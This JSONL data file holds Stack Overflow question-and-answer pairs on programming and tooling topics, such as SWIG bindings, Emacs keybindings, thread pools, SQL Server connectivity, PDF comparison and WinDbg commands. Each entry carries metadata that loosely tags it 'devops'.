{"id": "hf_a7394ffbed65", "question": "<p>I have a home-spun 2000 lines VBScript script, that has become progressively slow with each additional code I add. It was created as a private debugging aid and now that it has become really useful. I want to polish it and ship it along with our product.</p>\n\n<p>I thought I could speed it up by compiling it and making it an EXE. Furthermore I want to have a user interface for my tool, which might be possible once I use the extra libraries that the compiling platform might give me. I'm also considering extending the script by calling <a href=\"http://en.wikipedia.org/wiki/Windows_API\" rel=\"nofollow noreferrer\">Win32</a> functions for whatever missing functionalities I require. </p>\n\n<p>I have VB 6.0 or I can buy an external compiler. But I also need the created program (not the compiler itself) to run fine in Windows Vista. What are my best options? </p>\n", "question_body": "", "answer": "I would recommend downloading Visual Basic Express Edition (\nhttp://www.microsoft.com/express/vb/\n) and port your tool to VB.Net. However, that approach has one drawback - your program will be dependent on .Net. For the most part that shouldn't be a big problem, as by now most machines should have .Net 2.0, still it's better to keep it in mind.\nI would stay away from VB6.0; however, aside from VB.Net I don't know any other good Basic compilers you could use.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:44.527040"}
{"id": "hf_cd9a43b4c656", "question": "<p>What application do you use to monitor HTTP communication on OS X?</p>\n", "question_body": "", "answer": "HTTPTracer\nhttp://simile.mit.edu/wiki/HTTPTracer", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:44.564130"}
{"id": "hf_e866079789df", "question": "<p>What would be the quickest way to construct a Python binding to a C or C++ library?</p>\n\n<p>(I am using Windows if this matters.)</p>\n", "question_body": "", "answer": "The quickest way to do this is using\nSWIG\n.\nExample from SWIG\ntutorial\n:\n```\n```\n/* File : example.c */\nint fact(int n) {\n    if (n <= 1) return 1;\n    else return n*fact(n-1);\n}\n```\n```\nInterface file:\n```\n```\n/* example.i */\n%module example\n%{\n/* Put header files here or function declarations like below */\nextern int fact(int n);\n%}\n\nextern int fact(int n);\n```\n```\nBuilding a Python module on Unix:\n```\n```\nswig -python example.i\ngcc -fPIC -c example.c example_wrap.c -I/usr/local/include/python2.7\ngcc -shared example.o example_wrap.o -o _example.so\n```\n```\nUsage:\n```\n```\n>>> import example\n>>> example.fact(5)\n120\n```\n```\nNote that you have to have python-dev. Also in some systems python header files will be in /usr/include/python2.7 based on the way you have installed it.\nFrom the tutorial:\nSWIG is a fairly complete C++ compiler with support for nearly every language feature. This includes preprocessing, pointers, classes, inheritance, and even C++ templates. SWIG can also be used to package structures and classes into proxy classes in the target language — exposing the underlying functionality in a very natural manner.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:44.588156"}
{"id": "hf_ee82fe72df41", "question": "<p>Can you have smart behavior for the home key in Emacs? By smart I mean that instead of going to the character number 0, it should go to the first non-blank character, and go to 0 on a second pressing, and back to the first non-blank in a third and so on.\nHaving smart end would be nice as well.</p>\n", "question_body": "", "answer": "```\n```\n(defun smart-beginning-of-line ()\n  \"Move point to first non-whitespace character or beginning-of-line.\n\nMove point to the first non-whitespace character on this line.\nIf point was already at that position, move point to beginning of line.\"\n  (interactive \"^\") ; Use (interactive) in Emacs 22 or older\n  (let ((oldpos (point)))\n    (back-to-indentation)\n    (and (= oldpos (point))\n         (beginning-of-line))))\n\n(global-set-key [home] 'smart-beginning-of-line)\n```\n```\nI'm not quite sure what smart end would do.  Do you normally have a lot of trailing whitespace?\nNote:\nThe major difference between this function and Robert Vuković's is that his always moves to the first non-blank character on the first keypress, even if the cursor was already there.  Mine would move to column 0 in that case.\nAlso, he used\n```\n(beginning-of-line-text)\n```\nwhere I used\n```\n(back-to-indentation)\n```\n.  Those are very similar, but there are some differences between them.\n```\n(back-to-indentation)\n```\nalways moves to the first non-whitespace character on a line.\n```\n(beginning-of-line-text)\n```\nsometimes moves past non-whitespace characters that it considers insignificant.  For instance, on a comment-only line, it moves to the first character of the comment's text, not the comment marker.  But either function could be used in either of our answers, depending on which behavior you prefer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:44.628838"}
{"id": "hf_f08c1a7a1c0b", "question": "<p>I have been trying to learn multi-threaded programming in C# and I am confused about when it is best to use a thread pool vs. create my own threads. One book recommends using a thread pool for small tasks only (whatever that means), but I can't seem to find any real guidelines.</p>\n<p>What are some pros and cons of thread pools vs creating my own threads? And what are some example use cases for each?</p>\n", "question_body": "", "answer": "Thread pools are great when you have more tasks to process than available threads.\nYou can add all the tasks to a thread pool and specify the maximum number of threads that can run at a certain time.\nCheck out\nthis\npage on MSDN:\nhttp://msdn.microsoft.com/en-us/library/3dasc8as(VS.80).aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:44.653356"}
{"id": "hf_2d395392caaa", "question": "<p>What is the maximum number of threads you can create in a C# application?  And what happens when you reach this limit?  Is an exception of some kind thrown?</p>\n", "question_body": "", "answer": "There is no inherent limit. The maximum number of threads is determined by the amount of physical resources available. See this\narticle by Raymond Chen\nfor specifics.\nIf you need to ask what the maximum number of threads is, you are probably doing something wrong.\n[\nUpdate\n: Just out of interest: .NET Thread Pool default numbers of threads:\n1023 in Framework 4.0 (32-bit environment)\n32767 in Framework 4.0 (64-bit environment)\n250 per core in Framework 3.5\n25 per core in Framework 2.0\n(These numbers may vary depending upon the hardware and OS)]", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:44.680887"}
{"id": "hf_10434ba79344", "question": "<p>What is a good free/open source alternative to <a href=\"http://en.wikipedia.org/wiki/WebFOCUS\" rel=\"nofollow noreferrer\">WebFOCUS</a>? </p>\n\n<p>Is there an ASP.NET way of getting info from an OLAP cube?  </p>\n\n<p><strong>Update:</strong> I chose Magnus Smith's answer as the correct one, but <a href=\"https://stackoverflow.com/questions/145322/webfocus-is-there-a-freeopen-source-alternative#145467\">Alexmac's answer</a> was also very good!</p>\n", "question_body": "", "answer": "I am not aware of free analytical suite. But what is it you are trying to accomplish?\nYou can query an OLAP cube by using MDX queries with ADO.net.\nhttp://msdn.microsoft.com/en-us/library/ms144785.aspx\nYou can then bind the results to a datagrid for example. MDX is a little like SQL but be careful as it has several syntax differences. I think Excel has a query tool you can use to graphically construct your queries which can be helpful.\nOn a related note look into SQL reporting services. With SQL express you can use a cut down version of sql reporting services that may accomplish what you are looking to do.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:44.717327"}
{"id": "hf_15aad45bbb03", "question": "<ol>\n<li>What is the most efficient way to check if an array is <strong>a flat array\nof primitive values</strong> or if it is a <strong>multidimensional array</strong>?</li>\n<li>Is there any way to do this without actually looping through an\narray and running <code>is_array()</code> on each of its elements?</li>\n</ol>\n", "question_body": "", "answer": "You could look check\n```\nis_array()\n```\non the first element, under the assumption that if the first element of an array is an array, then the rest of them are too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:44.765166"}
{"id": "hf_8b2ea585133d", "question": "<p>How do you debug your SharePoint 2007 code?  Since SharePoint runs on a remote server, and I'm developing on a windows xp machine (with the necessary .dll files copied into my GAC), I haven't had much luck with finding easy ways to debug.  Breakpoints don't work, etc.</p>\n\n<p>The best way I've come up with is to enable page tracing in the web.config file, write trace messages throughout my code, and access trace.axd whenever I need to debug.</p>\n\n<p>Does anyone have any better suggestions for debugging?  Am I missing something?</p>\n", "question_body": "", "answer": "From\nAndrew Connell's blog post\non the subject:\nAttaching the debugger to GAC'd\n  assemblies: \"Why aren't my breakpoints\n  being hit?!?!\" Ever been there? Me\n  too... what a PITA that is! What's\n  going on? Well, the assemblies are in\n  the GAC and the Visual Studio debugger\n  can't see the debugging symbols (aka:\n  *.pdb). Unless you've gone through the trouble of setting up a symbol store\n  where all your PDBs are going, you'll\n  need to put the debugging symbols in\n  the same location as the assembly. The\n  trick is finding the folder that\n  contains your DLL in the GAC.\nThe c:\\windows\\assembly folder is not\n  a real folder, it's a virtual folder.\n  To get to the REAL folder, do the\n  following:\nStart » Run\n%systemroot%\\assembly\\gac\n  [ENTER]\nThis will open the GAC folder.\n  Now, poke around until you find a\n  folder that looks like this (you might\n  need to jump up one folder and dive\n  into the MSIL folder): [assembly file\n  name -.DLL extention][assembly\n  version in format of\n> #.#.#.#]__[assembly public key token].\nWhen you find that folder, open it up\n  and you'll see your assembly. Copy the\n  PDB file to that folder and then\n  attach the debugger for some debugging\n  joy!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:44.813060"}
{"id": "hf_5debe845d964", "question": "<p>I'd like to open the intelligence window without typing a character and then backspacing it. I can't seem to remember the shortcut for this. What is it? </p>\n", "question_body": "", "answer": "Ctrl\n+\nSpace\n?\nAlso, go to\nTools -> Options -> Environment -> Keyboard\nor\nDefault Keyboard Shortcuts in Visual Studio\n, you can then search for commands and see what is assigned to that (and remap).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:44.837682"}
{"id": "hf_7936d51841be", "question": "<p>Would it be possible to write a class that is virtually indistinguishable from an actual PHP array by implementing all the necessary SPL interfaces? Are they missing anything that would be critical?</p>\n\n<p>I'd like to build a more advanced Array object, but I want to make sure I wouldn't break an existing app that uses arrays everywhere if I substituted them with a custom Array class.</p>\n", "question_body": "", "answer": "The only problems i can think of are the gettype() and the is_array() functions.\nCheck your code for\n```\n```\ngettype($FakeArray) == 'array' \nis_array($FakeArray)\n```\n```\nBecause although you can use the object just like an array, it will still be identified as an object.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:44.868855"}
{"id": "hf_da8fe2e7ed52", "question": "<p>How do I connect to an SQL Server remotely and administer my database objects? I need to connect to my database located on the web hosting company's server. I have the server name, IP address, my database username &amp; password. I have an installation of SQL Server 2000 in my machine. </p>\n\n<p>Can I use SQL Server Enterprise Manager for this? A step by step guide would be very helpful.</p>\n", "question_body": "", "answer": "Yes, you can use Enterprise Manager (or SQL Server Management Studio, even if it's an Express version) to connect to any SQL Server (of the same or lower version as the tool you're using) you have TCP/IP connectivity to. Just launch it, enter the DNS host name or IP address in the 'Server Name' box and hit Connect.\nTwo things may prevent this from working:\nYour SQL Server isn't set up for TCP/IP connectivity. This is the default setting from version 2005 onwards, and can be changed using the\nSQL Server Configuration Manager\n.\nThere is a firewall between you and your SQL Server blocking TCP/IP traffic. This is an entirely sensible construction: you do\nNOT\nwant your database server to be available from the general Internet, as this is a huge security risk. In fact, if your hosting company allows this kind of access by default, I'd be looking for a different provider...\nAnyway, what seems to be needed in your scenario is: a) the hosting company enabling TCP/IP on your SQL Server instance, b) them providing you with\nsecure\naccess to the IP address that instance is running on. \nThis will involve some kind of VPN or SSH port-forwarding soluition, or at least an IP filter, where only 'trusted' IP addresses can access the SQL Server (which is not a great solution, but can be used if nothing else can be implemented). You'll have to discuss these requirements with your hosting company.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:44.893442"}
{"id": "hf_c6690a54eb40", "question": "<p>As I am using for-loops on large multi-dim arrays, any saving on the for-loop mechanism itself is meaningful.</p>\n\n<p>Accordingly, I am looking for any tips on how to reduce this overhead.</p>\n\n<p>e.g. : counting down using uint instead of int and != 0 as stop instead of >0 allows the CPU to do less work (heard it once, not sure it is always true)</p>\n", "question_body": "", "answer": "One important suggestion: move as much calculation to the outer loop as possible.  Not all compilers can do that automatically.  For eample, instead of:\n```\n```\nfor row = 0 to 999\n    for col = 0 to 999\n        cell[row*1000+col] = row * 7 + col\n```\n```\nuse:\n```\n```\nfor row = 0 to 999\n    x = row * 1000\n    y = row * 7\n    for col = 0 to 999\n        cell[x+col] = y + col\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:44.917813"}
{"id": "hf_7cbcc6768dca", "question": "<p>How do I dictate the destination folder of a clickOnce application?</p>\n", "question_body": "", "answer": "This is not possible with ClickOnce. ClickOnce applications are always installed in the\n```\nApps\n```\nsubdirectory of local application data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:44.942332"}
{"id": "hf_eb1e9a60231e", "question": "<p>I have an application written using VS2005 in C# targeting the Compact Framework 2.0 SP2. As part of the solution, I have CAB deploy project which deploys to the device without a problem. What I can't do is create a shortcut to my application on the devices desktop.</p>\n\n<p>I have spent several hours reading various bits of documentation (why is the search at the MSDN site so bad?), followed the instructions but no joy. </p>\n\n<p>What I've done is:</p>\n\n<ul>\n<li>Add the \"Windows Folder\" node to the File System</li>\n<li>Created a folder underneath that named \"Desktop\"</li>\n<li>Created a shortcut to the Applications Primary Output and placed that in the \"Desktop\" folder</li>\n</ul>\n\n<p>What am I missing?</p>\n", "question_body": "", "answer": "I assume that you're working with a \"Smart Device CAB Project\"?  I don't think this project creates shortcuts in the correct manner for Windows CE 4.2.  I think you can download an SDK from Microsoft that after installation will show you something like \"Windows CE CAB Project\" as a project option.\nI think you can do this manually, though.  A Windows CE shortcut is a file with a *.lnk extension, so if you want a shortcut labeled \"My Application\", create a text file on your PC named \"My Application.lnk\".  The file's contents should be:\n46#\\Program Files\\My\n  Application\\MyApplication.exe (the # should be the full path length)\nor whatever full path your application has on the Windows CE device.\nIn your CAB project, continue with adding the \"Windows\" folder and then the \"Desktop\" folder as you were.  In the Desktop folder, right-click and add the LNK file that you created.  You may have to soft-reset the device in order to have the shortcut show up after installation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:44.990567"}
{"id": "hf_8c3a8d070bd4", "question": "<p>If I use multiple repositories, all located under a single root folder, how can I set it up so that they will use a single master <code>svnconf</code>/<code>passwd</code> file for setup but still allow me to customize each if the need arises?</p>\n\n<p>This is on Windows, but I guess the process would be similar on other systems.</p>\n\n<p><strong>Update:</strong> I am using svnserve as a service.</p>\n", "question_body": "", "answer": "If you are using svnserve, then the\n```\nconf/svnserve.conf\n```\nfile in each repository has a configuration item which names the password database file. This is the\n```\npassword-db\n```\nitem in the\n```\n[general]\n```\nsection, just set them all to point to the same file.\nIf you're not using svnserve, then this probably doesn't apply.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:45.015279"}
{"id": "hf_ca66e81e7098", "question": "<p>Notice in the bottom right hand corner of this page it has the SVN revision id? I'm assuming that's dynamic.</p>\n\n<p>I'd love to add that to some of my sites, just as a comment in the source to make sure code pushes are going through.</p>\n\n<p>NOTE: You can also assume that the working directory of the site in question is an svn checkout of the repo in question.</p>\n\n<p><b>Edit:</b> I'm looking for the global revision number, not the revision number of the file I'm looking at.</p>\n", "question_body": "", "answer": "Read up on Keyword substitution.  See\nhttp://svnbook.red-bean.com/en/1.4/svn.advanced.props.special.keywords.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:45.038970"}
{"id": "hf_1d05b1b489a1", "question": "<p>we need reports in our web application and there is the free ReportViewer Control from microsoft (normally used, to display reports from the reporting services). I like the fact, that the Report Format (.RDL-Format) from the ReportViewer is a documented XML-Format. But the functionality is somewhat limited, when the ReportViewer is used without the ReportingServices.</p>\n\n<p>Is there a good replacement, which is based or compatible with the .RDL-Format?</p>\n\n<p>The first Reports are build in the application, but later, the customer should make his reports by himself.</p>\n\n<p><strong>The Application is a ASP.NET Web-Application</strong></p>\n", "question_body": "", "answer": "This depend on your requirements. I am not clear what your requirements are.\nIs your application a web application or a desktop application?\nIf your application is a\nweb application\nthen you can use any other reporting service. I like\ni-net Clear Reports\n. There is also a free and fully functional GUI\nreport designer\nthat is easy to use. Your customer can create your own reports.\nIf you have a\ndesktop application\nthen you are limit to the language of your application.\nYou should also think about the platforms. The reporting services are limited to windows and a SQL Server is needed. Does all your customer have a SQL Server?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:45.087624"}
{"id": "hf_a32cd08a2153", "question": "<p>If you think it shouldn't, explain why.</p>\n\n<p>If yes, how deep should the guidelines be in your opinion? For example, indentation of code should be included?</p>\n", "question_body": "", "answer": "I believe having a consistent codebase is important. It increases the maintainability of ur code. If everyone expects the same kind of code, they can easily read and understand it.\nBesides it is not much of a hassle given today's IDEs and their autoformatting capabilities.\nP.S:\n I have this annoying habit of putting my braces on the next line :). No one else seems to like it", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:45.124731"}
{"id": "hf_29683c8c5d60", "question": "<p>Title is the entire question. Can someone give me a reason why this happens?</p>\n", "question_body": "", "answer": "This method compares the value parameter to the substring at the beginning of this string that is the same length as value, and returns a value that indicates whether they are equal.\nTo be equal, value must be an empty string (Empty), a reference to this same instance, or match the beginning of this instance.\n.NET String.StartsWith\ntrue if the character sequence represented by the argument is a prefix of the character sequence represented by this string; false otherwise.\nNote also that true will be returned if the argument is an empty string\nor is equal to this String object as determined by the equals(Object) method.\nJava String.startsWith", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:45.149569"}
{"id": "hf_65a1420aecd2", "question": "<p>I basically want to do this:</p>\n\n<pre><code>grep 'example.com' www_log &gt; example.com.YYYY-MM-DD-H:i:S.log\n</code></pre>\n\n<p>...with of course the filename being <b>example.com.2008-09-27-11:21:30.log</b></p>\n\n<p>I'd then put this in crontab to run daily.</p>\n", "question_body": "", "answer": "The verbose method:\n```\n```\ngrep 'example.com' www_log > `date +example.com.%Y-%m-%d-%H:%M:%S.log`\n```\n```\nThe terse method:\n```\n```\ngrep 'example.com' www_log > `date +example.com.%F-%T.log`\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:45.209990"}
{"id": "hf_89b60c27f896", "question": "<p>I have three related questions. </p>\n\n<p>I want to create a word file with a name from C++. I want to be able to sent the printing command to this file, so that the file is being printed without the user having to open the document and do it manually and I want to be able to open the document. Opening the document should just open word which then opens the file.</p>\n", "question_body": "", "answer": "I have no experience from integrating with Microsoft Office, but I guess there are some APIs around that you can use for this.\nHowever, if what you want to accomplish is a rudimentary way of printing formatted output and exporting it to a file that can be handled in Word, you might want to look into the RTF format. The format is quite simple to learn, and is supported by the RtfTextBox (or is it RichTextBox?), which also has some printing capabilities. The rtf format is the same format as is used by Windows Wordpad (write.exe).\nThis also has the benefit of not depending on MS Office in order to work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:45.270466"}
{"id": "hf_31a286baa6b5", "question": "<p>How can I use Cron on Google App Engine?</p>\n", "question_body": "", "answer": "This page\nlists how to achieve Cron-like functionality on Google Appengine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:45.373978"}
{"id": "hf_0d31aa952dfa", "question": "<p>I need to compare large count of PDF files for it optical content. Because the PDF files was created on different platforms and with different versions of the software there are structural differences. For example:</p>\n\n<ul>\n<li>the chunking of text can be different</li>\n<li>the write order can be different</li>\n<li>the position can be differ some pixels</li>\n</ul>\n\n<p>It should compare the content like a human people and not the internal structure. I want test for regressions between different versions of the PDF generator that we used. </p>\n", "question_body": "", "answer": "I think your best approach would be to convert the PDF to images at a decent resolution and than do an image compare.\nTo generate images from PDF you can use Adobe PDF Library or the solution suggested at\nBest way to convert pdf files to tiff files\n.\nTo compare the generated TIFF files I found GNU\ntiffcmp\n(for windows part of\nGnuWin32 tiff\n) and\ntiffinfo\ndid a good job. Use tiffcmp -l and count the number of lines of output to find any differences. If you are happy to have a small amount of content change (e.g. anti-aliasing differences) then use tiffinfo to count the total number of pixels and you can then generate a percentage difference value.\nBy the way for anyone doing simple PDF comparison where the structure hasn't changed it is possible to use command line diff and ignore certain patterns, e.g. with GNU diff 2.7:\n```\ndiff --brief -I xap: -I xapMM: -I /CreationDate -I /BaseFont -I /ID --binary --text\n```\nThis still has the problem that it doesn't always catch changes in generated font names.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:45.398945"}
{"id": "hf_406856c2bae5", "question": "<p>You know that particular part of your code that is essential for the project but will probably take a lot of time to get it done? Do you ever get the feeling that you'd rather work on something else (probably less important) or not code at all instead of working on that part? That beast you try so hard to avoid and use every lazy trick you know to delay its inevitable implementation? </p>\n\n<p>Now, I'm probably just being lazy, but I've always had to deal with code like that. Write something I don't feel like writing (and it's worse if you're doing it for fun and not getting paid!). A large system that will take a lot of time to get it into a stage where you get back any useful results or indication of it working. How do you start coding something like that? Most people would probably suggest divide and conquer and similar architectural techniques, but this isn't about how you do it; it's about how you get yourself started on doing it. What's the very first steps you'd take?</p>\n", "question_body": "", "answer": "I agree with you that many large, important parts of a software are not fun to write. I usually start my development day with some smaller things, like adding a feature here, or fixing a bug there. When it's time, I start with the large part, but when I just can't see the thing any more, I do something different. That's all fine if you still get everything done on time. And remember that it may make things easier if you talk with other people about that large beast before you're doing it, while you're doing and after you're done. This will not only free your mind, but you'll also get other people's opinion from a less subjective point of view. Planning such things together also helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:45.424418"}
{"id": "hf_e2e9ebc05322", "question": "<p>Design patterns are usually related to object oriented design.<br>\n<strong>Are there <a href=\"http://en.wikipedia.org/wiki/Design_pattern_(computer_science)\" rel=\"noreferrer\">design patterns</a> for creating and programming <a href=\"http://en.wikipedia.org/wiki/Relational_database\" rel=\"noreferrer\">relational databases</a>?</strong><br>\nMany problems surely must have reusable solutions.</p>\n\n<p>Examples would include patterns for table design, stored procedures, triggers, etc...</p>\n\n<p>Is there an online repository of such patterns, similar to <a href=\"http://martinfowler.com\" rel=\"noreferrer\">martinfowler.com</a>?</p>\n\n<hr>\n\n<p>Examples of problems that patterns could solve:</p>\n\n<ul>\n<li>Storing hierarchical data (e.g. single table with type vs multiple tables with 1:1 key and differences...)</li>\n<li>Storing data with variable structure (e.g. generic columns vs xml vs delimited column...)</li>\n<li>Denormalize data (how to do it with minimal impact, etc...)</li>\n</ul>\n", "question_body": "", "answer": "There's a book in Martin Fowler's Signature Series called\nRefactoring Databases\n. That provides a list of techniques for refactoring databases. I can't say I've heard a list of database patterns so much.\nI would also highly recommend David C. Hay's\nData Model Patterns\nand the follow up\nA Metadata Map\nwhich builds on the first and is far more ambitious and intriguing. The Preface alone is enlightening.\nAlso a great place to look for some pre-canned database models is Len Silverston's Data Model Resource Book Series\nVolume 1\ncontains universally applicable data models (employees, accounts, shipping, purchases, etc),\nVolume 2\ncontains industry specific data models (accounting, healthcare, etc),\nVolume 3\nprovides data model patterns.\nFinally, while this book is ostensibly about UML and Object Modelling, Peter Coad's\nModeling in Color With UML\nprovides an \"archetype\" driven process of entity modeling starting from the premise that there are 4 core archetypes of any object/data model", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:45.448858"}
{"id": "hf_473ffd0452b4", "question": "<p>At the moment I use PHP for almost everything I develop for the Web but its linguistic limitations are starting to annoy me. However, as I developed some practices and maintain some PHP libraries that help me a lot, I don't feel I'd be ready to just switch to LISP throwing away all my PHP output. It could even be impossible on the servers where all I have access to is a regular LAMP hosting account.</p>\n\n<p>Ergo, my questions are:\nCould LISP code be just combined with PHP one? Are there solutions for side-by-side LISP/PHP, interface for their interoperability or perphaps just an implementation of one for the other? Or is it a mutually exclusive choice?</p>\n", "question_body": "", "answer": "It's not a mutually-exclusive choice, you can run both on one system, in the same way that perl and php (for example) are run side-by-side on many systems.\nThere's a\ngood post here\non a similar topic, which suggests using sockets to communicate between both languages -\nIf you want to go the PHP<->Lisp route the easyest thing to do would be to make PHP communicate with your Lisp-process using sockets.\nhttp://php.net/manual/en/ref.sockets.php\nhttp://www.sbcl.org/manual/Networking.html\nThis approach does still leave you with the potential added complexity and maintenance issues you get from having 2 languages in your project, but might be a fit for your particular use case.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:45.472999"}
{"id": "hf_6c091c2691e6", "question": "<p>Could anyone show me a sample about how to use these two commands in Windbg please? I read the document in debugger.chm, but confused. I did search in Google and MSDN, but not find an easy to learn sample.</p>\n", "question_body": "", "answer": "Think in terms of function levels as per the following pseudo-code:\n```\n```\n1  x = 0\n 2  y = 0\n 3  call 8\n 4  x = 5\n 5  y = 7\n 6  call 8\n 7  halt\n\n 8  print x\n 9  print y\n10  call 12\n11  return\n\n12  print x + y\n13  print x * y\n14  return\n```\n```\nThe commands are basically \"run until an event occurs\".  The event causes the debugger to break (stop execution and await your command).\nThe \"\n```\ngu\n```\n\" command runs until it goes up to the next highest stack level.  If you're on lines 8, 9, 10 or 11, you'll end up at 4 or 7 depending on which \"\n```\ncall 8\n```\n\" has called that code.  If you're on lines 12, 13 or 14, you'll break at 11.\nThink of this as running until you've moved up the stack.  Note that if you first go down, you'll have to come up twice.\nThe \"\n```\npc\n```\n\" command runs until the next call so, if you're on line 1, it will break at line 3.  This is sort of opposite to \"\n```\ngu\n```\n\" since it halts when you're trying to go\ndown\na stack level.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:45.497170"}
